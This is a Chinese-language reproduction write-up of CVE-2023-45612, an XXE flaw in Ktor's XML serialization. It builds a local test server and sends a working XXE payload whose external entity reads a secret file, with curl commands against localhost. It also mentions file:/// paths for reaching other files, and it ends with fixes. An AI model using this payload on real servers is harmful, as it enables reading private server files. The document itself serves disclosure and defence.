CVE-2023-45612 是一个高严重性安全问题,允许对 Ktor 的 XML 序列化进行 XXE(XML 外部实体)攻击,该问题已在 2023 年修复。
下面是我复现该问题的详细方式。
首先,我们需要一个处理 XML 文件的服务器。我们通过 IntelliJ IDEA 创建一个 Kotlin 项目,并修改 build.gradle.kts 以使用所需的 Ktor 依赖和序列化插件。 我们关心的依赖是 io.ktor:ktor-serialization-kotlinx-xml。版本 2.3.4 是有漏洞的版本,版本 2.3.5 是已修补的版本。
然后,在项目根目录添加一个名为 sensitive_infos.txt 的文件,该文件旨在保持私有,且不允许从服务器外部访问。文件内容为“This informations should be secret and not accessible by sending a .xmf file.”
然后,在 Main.kt 中实现服务器。服务器被设计用于处理客户端发送的 XML,通过将其序列化为 Person 类的一个字符串(name)。然后服务器回复确认客户端刚刚发送的名字。启动服务器后,我们可以测试正常使用和恶意使用:
客户端发送一个包含其名字的 XML 文件,并收到包含刚发送名字的确认。我们可以使用以下 XML 文件进行测试:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
以及命令:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
客户端通过提供 URI 形式的替换字符串来定义一个实体,并发送恶意的 XML 文件,然后收到服务器可访问的秘密文件的内容。下面我展示一个例子,文件(sensitive_infos.txt)位于服务器根目录,但请注意,如果 XML 解析器能访问其内容,你还可以使用例如 file:///(如果服务器运行在 Linux 上)来访问其他文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
以及命令:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
服务器回复“Name sent: This informations should be secret and not accessible by sending a .xmf file.”,证明我们确实访问了秘密信息,因此存在漏洞。
顺便提一下,将 build.gradle.kts 中的版本从 2.3.4 改为 2.3.5 即可解决该问题,服务器对恶意输入仅回复“Name sent”,同时保留对正常输入的正常回复,这证实了安全问题已在 2.3.5 中修复。
永远不要信任用户!Ktor 解析器可以通过例如丢弃所有包含实体的 XML 输入文件来清理输入。
对用户限制更少的方式:Ktor 可以默认禁用外部实体,通过将 external-general-entities 和 external-parameter-entities 特性设置为 false,这样用户仍然可以在 XML 文件中声明实体,但该实体不能再访问任何外部资源。
在 Ktor 的 CI/CD 中包含 XXE 攻击测试,以确保代码不会受到此类攻击。